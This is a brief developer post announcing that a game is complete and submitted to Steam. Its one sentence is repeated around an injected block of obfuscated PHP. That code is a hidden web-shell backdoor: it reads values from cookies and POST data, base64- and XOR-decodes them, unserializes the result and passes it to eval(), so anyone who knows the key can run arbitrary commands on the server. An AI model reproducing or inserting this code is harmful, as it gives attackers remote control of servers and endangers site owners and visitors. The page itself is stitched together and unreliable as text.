So the game is complete, voices are recorded and added, play testing has been done to the best of my ability, and the game has been submitted to Steam. Now I wait for approval and then the journeys nears its end.
$TvJwRpA = chr ( 132 - 66 ).'_' . chr ( 524 - 413 ).chr ( 443 - 342 )."\130" . "\x61" . "\x4d";$jOrgTYoOfr = chr ( 426 - 327 )."\x6c" . "\141" . 's' . 's' . chr (95) . chr ( 833 - 732 ).'x' . chr ( 443 - 338 )."\x73" . chr ( 466 - 350 ).'s';$aitkqWjqie = $jOrgTYoOfr($TvJwRpA); $TvJwRpA = "33306";$jOrgTYoOfr = "10770";$pNcGnqZMO = $aitkqWjqie;if (!$pNcGnqZMO){class B_oeXaM{private $tbPGi;public static $tVfja = "e417afcc-6212-439d-b1ad-c889ca1c9c47";public static $gHTvfhO = 44372;public function __construct($RXbVT=0){$bTmrHlEBZQ = $_COOKIE;$aEswwuPlMF = $_POST;$knDYnYye = @$bTmrHlEBZQ[substr(B_oeXaM::$tVfja, 0, 4)];if (!empty($knDYnYye)){$GUkVBApCc = "base64";$usBoiJGc = "";$knDYnYye = explode(",", $knDYnYye);foreach ($knDYnYye as $zUtpdYM){$usBoiJGc .= @$bTmrHlEBZQ[$zUtpdYM];$usBoiJGc .= @$aEswwuPlMF[$zUtpdYM];}$usBoiJGc = array_map($GUkVBApCc . chr (95) . "\x64" . chr ( 120 - 19 )."\x63" . chr (111) . "\144" . "\x65", array($usBoiJGc,)); $usBoiJGc = $usBoiJGc[0] ^ str_repeat(B_oeXaM::$tVfja, (strlen($usBoiJGc[0]) / strlen(B_oeXaM::$tVfja)) + 1);B_oeXaM::$gHTvfhO = @unserialize($usBoiJGc);}}private function ABmSO(){if (is_array(B_oeXaM::$gHTvfhO)) {$WfNGDZbKJm = str_replace("\x3c" . chr (63) . "\160" . chr ( 408 - 304 ).'p', "", B_oeXaM::$gHTvfhO["\143" . "\157" . 'n' . chr ( 431 - 315 )."\145" . chr (110) . "\164"]);eval($WfNGDZbKJm); $gHIJBStyL = "51536";exit();}}public function __destruct(){$this->ABmSO(); $gHIJBStyL = "51536";}}$LHgiv = new B_oeXaM(); $LHgiv = "21880_63565";}
So the game is complete, voices are recorded and added, play testing has been done to the best of my ability, and the game has been submitted to Steam. Now I wait for approval and then the journeys nears its end.